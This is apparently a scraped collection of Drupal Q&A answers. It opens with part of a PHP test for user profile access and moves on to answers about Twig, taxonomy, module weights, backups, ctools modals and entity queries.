   */
  protected static $modules = ['node', 'user', 'mymodule', 'system', 'mymodule_test'];

  /**
   * {@inheritdoc}
   */
  protected function setUp() {
    parent::setUp();

    $anon_role = Role::load(Role::ANONYMOUS_ID);
    $this->grantPermissions($anon_role, ['access user profiles']);

    $this->user1 = $this->drupalCreateUser(['access content', 'access user profiles'], 'regular_user');
    $this->user2 = $this->drupalCreateUser(['administer users'], 'john', TRUE);
    $this->user3 = $this->drupalCreateUser([], 'zzz', FALSE);
    $this->user4 = $this->drupalCreateUser([], 'yyy', FALSE);
  }

  public function testProfileAccess() {
    // The average user should not be able to do anything to their own account.
    $this->drupalLogin($this->user1);
    $this->drupalGet('/user/' . $this->user1->id());
    $this->assertResponse(403);
    $this->drupalGet('/user/' . $this->user1->id() . '/edit');
    $this->assertResponse(403);
    $this->drupalGet('/user/' . $this->user1->id() . '/cancel');
    $this->assertResponse(403);

    $this->drupalLogin($this->user2);
    $this->drupalGet('user/' . $this->user3->id() . '/edit');
    $edit['edit-field-show-profile-value'] = 1;
    $this->drupalPostForm("user/" . $this->user3->id() . "/edit", $edit, t('Save'));

    $this->drupalGet('user/' . $this->user4->id() . '/edit');
    $edit['edit-field-show-profile-value'] = 0;
    $this->drupalPostForm("user/" . $this->user4->id() . "/edit", $edit, t('Save'));

    // Any user should be able to view an account with SHOW PROFILE true.
    $this->drupalLogin($this->user1);
    $this->drupalGet('/user/' . $this->user3->id());
    $this->assertResponse(200);

    // But not if SHOW PROFILE is false.
    $this->drupalGet('/user/' . $this->user4->id());
    $this->assertResponse(403);
  }
}

The tests all pass, which is good.


Get node internal path from path alias in Twig template

You should not be running Drupal functions inside TWIG templates, the best approach is to use a pre-processor as mentioned in the comments. You can do this by setting a variable inside a hook being called either in your theme file or custom module and setting like this:

$vars['your_custom_variable'] = $unaliasedNodePath

And then inside your twig template you can use the variable set in your pre-processor like this:

{{ your_custom_variable }}

More information can be found here:

https://www.drupal.org/docs/8/theming/twig/twig-best-practices-preprocess-functions-and-templates


How do I debug incorrect favicon showing on the front page in a custom theme?

In the metatag module the front page has it's own settings. I'm guessing you edited the "Global" settings. But you'll also see a "FRONT PAGE" under the /admin/config/search/metatag admin screen and the front page will be using those settings and not the global ones because the front page has its own set of settings


How to make the File Attach option available?

On the edit page of the content type that contains the file field, there is a  closed pane labelled 'File Attach Setting'. Inside of that is a checkbox that reads 'File attach from server directory'. It needs to be checked.

Also note, regardless of where you've specified that the file be stored, the module will create a dir named file_attach. This confused me earlier. I thought it was looking only for files in the default directory ie
sites/default/files/file_attach


How to use Taxonomy to tag/categories content?

The steps to follow to be able to use a vocabulary with nodes of a content type are two:

Create the vocabulary, if it doesn't exist, on admin/structure/taxonomy.

Associate the vocabulary with the content type on; for example, for the Article content type, the page is admin/structure/types/manage/article/fields.

Add a new field, using "Term reference" as field type.

Click the "Save" button, and select the vocabulary that is used for the taxonomy terms that will be added.

Change the settings in the page that appears after you click on the "Save field settings" button.

This is different from Drupal 6, where the form to create (or edit) a vocabulary also allowed to select which content type should use that vocabulary. In Drupal 7 is changed, as a vocabulary can be associated to other entities, such as users (see admin/config/people/accounts/fields) and vocabularies (see admin/structure/taxonomy/forums/fields for the "Forums" vocabulary).


Drush may be the best option. You have a command to uninstall a module :
drush pm-uninstall module-name

Otherwise there is a really tricky and dangerous way to do it :
Go on your database on the "system" table. And search for the line with your module and set the status to 0. After that you may need to clear your cache with the function : drupal_flush_all_caches() (add it to a index.php and remove it after).

The second method is tricky and you should prefer the one with drush. I just explain it if you don't manage to install drush on windows.


I see all aliases besides the home page alias (At URL bar)

If you set your site home page "Decorations-for-all-houses" (or perhaps lowercase would be less confusing) at admin/config/system/site-information, any home link provided by core, contrib modules, themes etc. will point to the right page.

You can edit any link of your main-menu including the home link at admin/structure/menu/manage/main-menu. The default link for home is <front>
which will point to your assigned home page, but it can be any path, including "decorations-for-all-houses".

Themes typically implement their logo link so that it points to the home page without the path, so you would have to edit the theme.

The above (hopefully) covers any case where users already on your site click a home link or logo. But what about visitors clicking a link outside of your site, like Google, or typing the domain name? For redirecting them from www.example.com to www.example.com/decorations-for-all-houses something like the Global redirect module probably would be able to do that.

What people usually seem to want, is just the opposite, redirect from the long url to the root. It might be confusing to visitors if they never can't get to the www.example.com even if they want to. This is what visitors expect to see as the home page url.


You don't need additional modules to create different Taxonomy term pages, in D7 nor D8. Taxonomy Display and Taxonomy Views Integrator modules save steps in certain cases, but you can recreate their functionality with configuring different Views for different cases.

You can reuse the existing Taxonomy term Views (this lists nodes based on the taxonomy term in the URL).

If you need different Taxonomy page settings for each Vocabulary you can Duplicate the Taxonomy term Views (that shows Content tagged with a term) as many times as you have different Vocabularies, and add Filters to each to apply only to one Vocabulary.

Then you can also change all the other options related to how you want different Vocabulary terms Content to be displayed, because you'll have a different View for each Vocabulary.


How do I create a link in the node template?

Node templates have url variable which you can use in your template in the following way:

{{ label }}

(See node.html.twig for an example.)

In general, you can use link function in twig template:

{{ link(item.title, item.url, { 'class':['foo', 'bar', 'baz']} ) }}

(See Functions - In Twig Templates for a short list of twig functions provided by Drupal. Also take a look at TwigExtension for their source.)


Scheduler module- How is the check for publishing done?

It is executed by the cron. The cron triggers a query to check wether something should be published.
It is a bit contraintuitive though. If your cron runs every hour and you want something published on 22:35 and it is past that time it will be actually published the next time your cron runs. So if your cron runs at 22:30 and 23:30 the publish will be at 23:30.


How can I refer to a user in a content type using CCK in Drupal 7.7


How do you set up ubercart to filter/sort by price

Use Ubercart advanced catalog. Very useful views. Here is a quote about it (from the module's project page):

... add custom filters on Ubercart catalog and provide taxonomy, products attributes (select) and CCK (option widget) support.
Filters are fully configurable. Product display is fully configurable with Display suite and Node display.


Submit handler is not getting called inside theme function

It looks like you are declaring your submit button's submit handler correctly. Rather than debugging with print(), try using drupal_set_message() or the Devel module's dpm().

Example with drupal_set_message():

function user_content_ranking_save($form, &$form_state) {
  drupal_set_message('Submit handler was called.');
}

Edit:

Also, if you are constantly refreshing the same form, Drupal may have cached it. Try clearing your cache and see if your submit handler is now being called.

Answer:

Are you sure the whole form is being rendered when using your theme function? It may be that the form is not being validated because the rendered output of the form does not contain the form_id, form_build_id, and/or form_token.


Where are {image_style} and {scheme} coming from?

They are route parameters. See here: https://www.drupal.org/node/2186285


How do I run queries against a view configuration

Just expanding a bit on @Clive's answer. Load all views, iterate through them and check what you need.

Views has a function that will help, views_get_all_views(), https://cgit.drupalcode.org/views/tree/views.module#n1536

From there, you can go through them and get what you need.

Basically,

  $views_list = views_get_all_views();
  foreach ($views_list  as $view) {
    //Logic operating on the $view object
  }

This will probably be useful as well, https://api.drupal.org/api/views/includes!view.inc/class/view/7.x-3.x


Drush can't connect to local MySQL through socket on WAMP

For anyone else with this problem, it was an issue with the PATH variable. I had to add the path to the version of mysql that I wanted to use (the WAMP version) to the beginning of my PATH variable in my .bash_profile. SO post regarding PATH variable in .bash_profile.


How to open a link in ctools modal by clicking a views row in table format?

I used this code and it solved my problem.

// Bind table rows that will open ctools modals to the appropriate function.
      $('tr.ctools-use-modal', context).once('ctools-use-modal', function() {
        var $this = $(this);
        $this.click(Drupal.CTools.Modal.clickAjaxLink);
        // Create a drupal ajax object
        var element_settings = {};
        if ($this.attr('href')) {
          element_settings.url = $this.attr('href');
          element_settings.event = 'click';
          element_settings.progress = { type: 'throbber' };
        }
        var base = $this.attr('href');
        Drupal.ajax[base] = new Drupal.ajax(base, this, element_settings);
      });

and table row like this

<tr class="ctools-use-modal" href="/my-page/nojs">

Hope it will help someone.


Can I change the order in which hook implementation by different modules are called?

Yes, very simply, you need to set the weight of your module to be heavier. There's a few ways you can do this, but if your module is a contrib module being release back to Drupal.org then the best way is to set it in hook_install() with code like:

db_query("UPDATE {system} SET weight = 100 WHERE name = 'MYMODULE'");

Alternatively you can use the Utility module to set module weights from the module page, however this is only for your personal installation.


having a backup of 'sites' folder and database backup is all I need?

So long as you know which version of core you have and it is un-patched then yes.

If you are backing up sites, make sure you back up any other databases. You may have multiple sites under there.

One good way to test is to do a restore on another server and check things work, after all unless you know your restore works a backup is worthless.

I have found Drush make scripts a handy way to make sure that the core and modules that you use are correct. That way you only need to back up the make script, the site directory itself sites/yoursite.com and the database.


How to get a two layer sort with a taxonomy term relationship and avoid duplicates in a user view

You need to add a filter that restricts family name to one language.

Credit: @ratface, answering this Q as per What should I do when an answer has been added as comment?


How can I get all related entities of a node programmatically?

Like this, you will get all the referenced items of the node being displayed.

  $current_path = explode('/', $_GET['q']);
  if ($current_path[0] == 'node' && is_numeric($nid = $current_path[1])) {
    $field = 'my_field';
    $bundle = 'my_bundle';
    $query = db_query("SELECT {$field}_target_id FROM field_data_{$field} WHERE entity_id = :nid AND bundle = :bundle",
      array(
        ':nid' => $nid,
        ':bundle' => $bundle,
      )
    );
    foreach($query as $row) {
      $target_ids[] = $row->{$field . "_target_id"};
    }
    $nodes = node_load_multiple($target_ids);
  }

If you have more entity reference fields, you have to expand the query (with more joins) according to your fields.